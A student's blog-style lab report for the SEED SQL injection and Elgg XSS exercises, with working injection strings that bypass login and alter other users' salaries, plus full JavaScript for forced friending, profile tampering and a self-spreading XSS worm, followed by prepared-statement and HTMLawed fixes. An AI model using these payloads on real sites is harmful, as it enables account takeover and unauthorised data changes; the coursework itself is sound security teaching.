20211916 2021-2022-2 《网络攻防实践》第十次作业

1.实践内容

1.1 前置知识

一. SQL注入原理

在动态网站中,往往需要用户传递参数到服务器,这些参数往往需要和数据库进行交互;当服务端没有对参数进行安全过滤时,攻击者在参数中加入恶意的SQL语句结构,便编造成了SQL注入漏洞.

在上图中可以看到,攻击者在提交请求时将SQL语句插入到请求内容中,程序本身对用户输入内容未经处理,同时而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。

二. 注入类型

在SQL注入漏洞中,注入类型分为三种:数字型、字符型、搜索型。

1、数字型

在 Web 端中经常能看到是例如http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。

这一类的 SQL 语句结构通常为select * from news where id=1,如果攻击者将参数id的值改为1 or 1=1,那么程序中拼接的sql语句则为:select * from news where id=1 or 1=1,因此参数改变了原有的SQL语句结构,导致了SQL注入漏洞攻击

2、字符型
在 Web 端中也经常能看到例如http://xxx.com/news.php?name=admin 这种形式的URL地址,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句结构通常为

select * from 表名 where name='admin'

当攻击者在参数值admin尾部加入攻击代码' or 1=1,那么拼接出来的sql注入语句为:

select * from news where chr='admin' or 1=1 '

这样SQL语句同样也会被改变,当然攻击者也不仅仅使用这么简单的攻击代码,通常还会使用一些更加复杂的攻击代码,例如

admin' union select 1,2,3,4 or '1'='1

在程序中拼接SQL语句之后,则变成了

select * from news where chr='admin' union select 1,2,3,4 or '1'='1'

这样就可以使用union结构将攻击者所感兴趣的内容返回回来

3、搜索型

很多时候我们会看到网站有个站内搜索的功能,搜索功能往往需要和数据库进行交互,因此也会存在SQL注入漏洞风险,搜索型SQL注入的特点是攻击代码中有两个% ,如下图所示:

在上图中可以看到,这个地方原本是用来搜索相关用户名的,当攻击代码为

%xxxx% or 1=1 #%'

所有的用户都在下方展示了出来。

三、SQL注入检测

在检测SQL注入漏洞时候,要明白SQL注入一定会要与数据库进行交互才会存在注入点,例如:

  • URL中存在参数
  • 登录、注册的地方
  • 发布或更新文章
  • 留言或提问的表单
  • http头、cookies、referee、user agent、post都可以给服务端传递参数

1、检测注入方法

点通常有三种方式:单引号判断,数字型判断,字符型判断.

2、单引号判断

搜索型判断是指在URL地址中加入单引号'以页面返回的结果作为判断依据,例如URL地址http://xxx/abc.php?id=1我们在URL地址的参数中加入',组成新的URL地址http://xxx/abc.php?id=1'使用浏览器访问之后,如果页面出现错误提示,则说明后端没有对浏览器传递的参数进行过滤,该地址很大几率存在SQL注入漏洞
结果:如果出现错误提示,则该网站可能就存在注入漏洞。

1.2 实践要求

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

1、查看实践环境

首先输入 su 提权,密码seedubuntu。 把主机名进行永久修改,输入:echo "new-hostname" > /etc/hostname,new-hostname改为自己的名字。

lsb_release -a 指令查看ubuntu的操作系统

我的ubuntu版本是 16.04 ,

打开Web服务器软件,进行提权,密码seedubuntu,再使用命令 service apache2 start

在火狐游览器中打开SQL Injection Site,如红框所在位置

在terminal终端登陆MySQL数据库,使用指令mysql -uroot -p

注意密码还是seedubuntu

查看mysql中的表,使用指令

use Users;
show tables;

查看员工信息,使用指令select * from credential;

2、进行注入攻击

对SELECT语句的SQL注入攻击。上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

打开SQL Injection Site 网站,然后输入一个自定义的账号密码,我输入的tanli,密码111111

键盘按下F12查看表单提交情况,可以看到进行校验的是unsafe_home.php,后面是进行校验的账户和密码,即我刚刚输入的tanli。

进入terminal终端输入指令vim /var/www/SQLInjection/unsafe_home.php 来打开unsafe_home.php文件,可以看见如下源代码。

可以得到管理员账户名admin,用户信息表名为credential。

说明我们只需要在用户名输入特定的字符串,可以不进行password的校验,就可以登录成功。

在SQL Injection Site 网站输入admin '#就可以进行登录。

登录成功!

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

UPDATE语句的内容在是unsafe_edit_backend.php

进入terminal终端用 vim /var/www/SQLInjection/unsafe_edit_backend.php 打开源代码

通过查看代码我们可以发现员工只能修改自己的个人信息,而无法修改工资salary,那我们就来修改员工的salary。

用上一步的管理员方式直接登陆,例如,我们登陆ALICE的账户,就直接使用使用ALICE ’#

登陆成功后,可以看到salary为20000。

点击图中的edit profile修改信息,CTRL加鼠标滚轮进行缩放才能看见编辑按钮。

在NickName那里输入语句', salary='1111111' where EID='10000';#

修改成功!

如果输入的是', salary='622623' where name='Boby';#那么我们就可以在ALICE的界面修改Boby的工资,尝试一下;

登录Boby的界面发现修改成功!

3、SQL对抗:修复上述SQL注入攻击漏洞。

SQL注入漏洞的本质原因是由于执行语句和数据放在一起导致的,使用预处理语句机制可以很好的防止这一攻击出现。

以下内容参考了大佬的博客:
在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。原来的语句
`$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";`
可以修改为
`$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);`
使用了预处理代码,然后进行了参数的绑定,绑定了用户名和hash之后的密码。又进行了结果的绑定,这个时候参数值就可以包含转义字符和定界符了。这个时候我们继续用之前的方式进行登录,发现已经提示账号不存在。修复了这个漏洞。

用管理员方式登录发现并没有成功,说明预处理有效!

2.2 SEED XSS跨站脚本攻击实验(Elgg)

1、发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

打开火狐游览器进入xss网站

点击LOG IN,输入用户名alice、密码seedalice进行登陆,显示如下界面:

点击profile,再点击进入edit profile,如图:

进入界面如下:

在Brief description那一栏中添加<script>alert('XSS');</script>

登陆Boby(用户名boby,密码seedboby),来查看Alice的profile。

先搜索alice,如下图:

点击查看alice主页,出现XSS弹窗。

弹窗显示cookie信息:将cookie信息显示。

与第一步相同,不在赘述过程,只需要将在Brief description那一栏中的内容换一下

添加

然后登陆alice账户,查找boby,进入boby主页,即可显示如下弹窗。

3、窃取受害者的cookies:将cookie发送给攻击者。

同样的,在Brief description中输入:

输入的ip地址是我ubuntu的ip:192.168.200.9,端口号是5555。

然后在terminal终端中输入nc -l 5555 -v对5555端口进行监测。

4、成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程

在Alice的账户中访问Boby的主页,用F12进入Network网页开发者模式,然后点击左侧的Add friend,添加Boby为好友

可以看到Add friend那一栏变成remove friend,说明添加好友成功。

请求方式为:POST

请求的三个参数为:__elgg_token=、__elgg_ts=、friend=

以下代码参考了大佬的博客:

构造脚本,把这段程序放在Alice的About me中(这里注意要是edit HTML模式),因为原来的brief限制长度。这段代码首先是获取elgg_ts和elgg_token,然后构造一个URL访问,44是alice号。(45是boby)
<script type="text/javascript">
	window.onload = function () {
  var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  Ajax.send();
} 
</script>

如图:

这时候我们登陆boby账号再去访问Alice,发现自动添加好友了。

5、修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

与第四步相同,通过F12进入网页开发者模式,然后查看Alice修改自己的资料时会发送什么指令,这里我改的是地址。

将如下代码放入Alice的about me中,此处参考大佬代码:

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>THis have been cracked by alice.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

现在,我们登录boby的账号,访问Alice的主页,然后再返回boby的主页,发现成功修改boby的信息。

6、编写XSS蠕虫。

与第四步、第五步类似,我们将代码放入Alice的about me处,再登录samy(账户:samy,密码:seedsamy)访问boby,可以看到samy也被感染了。

参考大佬的代码构建蠕虫攻击
<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>THis have been cracked by alice."+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

7、对抗XSS攻击。

参考大佬们的博客:了解到:Elgg本身是提供对抗XSS攻击的插件的,故可以利用管理员账户进行登录(用户名:admin密码:seedelgg),找到Account->administration->plugins,并且找到插件HTMLawed ,该插件的主要作用:对用户的输入输出进行校验并且去除特定标签。

我们这时候去查看Alice的主页,发现XSS攻击失效了,Alice中的代码被当作about me文本显示出来了,并不会被执行,如下图。

3.学习中遇到的问题及解决

  • 问题1:一开始alice感染boby没成功
  • 问题1解决方案:about me 的格式一定要注意是edit HTML

4.实践总结

XSS攻击这一块有点不太熟悉,尤其对代码方面仍然很薄弱,很多代码都是参考大佬的,不过再参考的过程中自己也逐步去理解了,对我来说也是一个成长与收获。

参考资料

posted @ 2022-05-21 11:31  banlichestnut  阅读(77)  评论(0编辑  收藏  举报